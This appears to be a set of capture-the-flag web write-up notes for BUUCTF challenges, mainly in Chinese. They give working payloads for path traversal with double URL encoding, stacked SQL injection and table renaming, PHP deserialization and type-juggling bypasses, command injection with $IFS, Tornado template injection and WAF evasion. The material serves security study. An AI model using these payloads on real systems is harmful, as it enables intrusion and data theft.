BUUCTF web writeup

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
            $_page = mb_substr(				//mb_substr() 函数返回字符串的一部分
                $page,
                0,
                mb_strpos($page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
                
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

flag not here, and flag in ffffllllaaaagggg

 $_page = mb_substr(
    $_page,
    0,
    mb_strpos($_page . '?', '?')
);

$_page = urldecode($page);

source.php?file=hint.php%253f/../../../../../../ffffllllaaaagggg

flag{e6a6362a-6c69-402f-b469-63d39794be76}

inject=1' union select 1,2 --+

inject=1';show databases;

inject=1';show tables;

inject=1';show columns from `1919810931114514`;

mysql中点引号( ‘ )和反勾号( ` )的区别
linux下不区分，windows下区分
区别: 单引号( ' )或双引号主要用于对字符串的引用符号 eg：mysql> SELECT 'hello', "hello" ; 
反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键] eg:`mysql>SELECT * FROM `table` WHERE `from` = 'abc' ;

select * from words where id=$inject;

inject=1'alter table `1919810931114514` add `id` int default 1;
//因为1919810931114514只有flag字段 没有id字段 所以我们添加一个id字段
rename table `words` to words1;
rename table `1919810931114514` to words;
//程序默认查询words表 所以我们把1919810931114514表名 改成words

GIF98a
auto_prepend_file = flag.jpg

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>

function __wakeup(){
        $this->username = 'guest';
}

$a = new Name('admin',100);
$b = serialize($a);
print_r($b);

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}

password=404aaa&money=100000000

ip=127.0.0.1;a=ag.php;b=fl;cat$IFS$1$b$a

xor
两个真做异或 结果为假
两个假做异或 结果为假
一个条件为真一个条件为假做异或结果才为真
null与真与假与null做异或结果都为null

/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))

http://dfc74aaa-c360-43e3-9ecd-19b3fe5da0f0.node3.buuoj.cn/error?msg={{handler.settings}}

'cookie_secret': '44a0e1e6-c525-40b2-b142-1535736f70d0'

也就是这样当我们输入
http://node3.buuoj.cn:27408/calc.php?num=a	waf会触发 导致403
但是当我们这样 waf匹配的是num变量 而这个是 num%20这个变量
http://node3.buuoj.cn:27408/calc.php? num=a

//正常payload 被正则拦截
<?php
eval("echo "."var_dump(scandir('/'));".";");
?>
//ascii码绕过正则
<?php
eval("echo "."var_dump(scandir(chr(47)));".";");
?>

http://node3.buuoj.cn:27408/calc.php?%20num=var_dump(scandir(chr(47)));

http://node3.buuoj.cn:27408/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

flag{7b0d0193-c15c-43aa-bf4a-9ed698e71e00}

select * from 'admin' where password=md5($pass,true)

select * from 'admin' where password=''or'6É]™é!r,ùíb'

4a5eec40-bb3d-49e1-a144-c62e1ae85f31.node3.buuoj.cn/levels91.php?a=QNKCDZO&b=240610708

4a5eec40-bb3d-49e1-a144-c62e1ae85f31.node3.buuoj.cn/levels91.php?a=[]1&b[]=21

1'show tables;
1';show columns from `FlagHere`;

HANDLER tbl_name OPEN ;	//打开这个表
HANDLER tbl_name read first; //查询这个表的第一条记录
HANDLER tbl_name read next;	//查询这个表的下一条记录
HANDLER tbl_name CLOSE;	//关闭这个表 如果不关闭可以一直next的

1';HANDLER FlagHere OPEN;HANDLER FlagHere read first;

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

http://391d456e-0cd9-4838-a5ba-a969c031da92.node3.buuoj.cn/?code=(~%8F%97%8F%96%91%99%90)();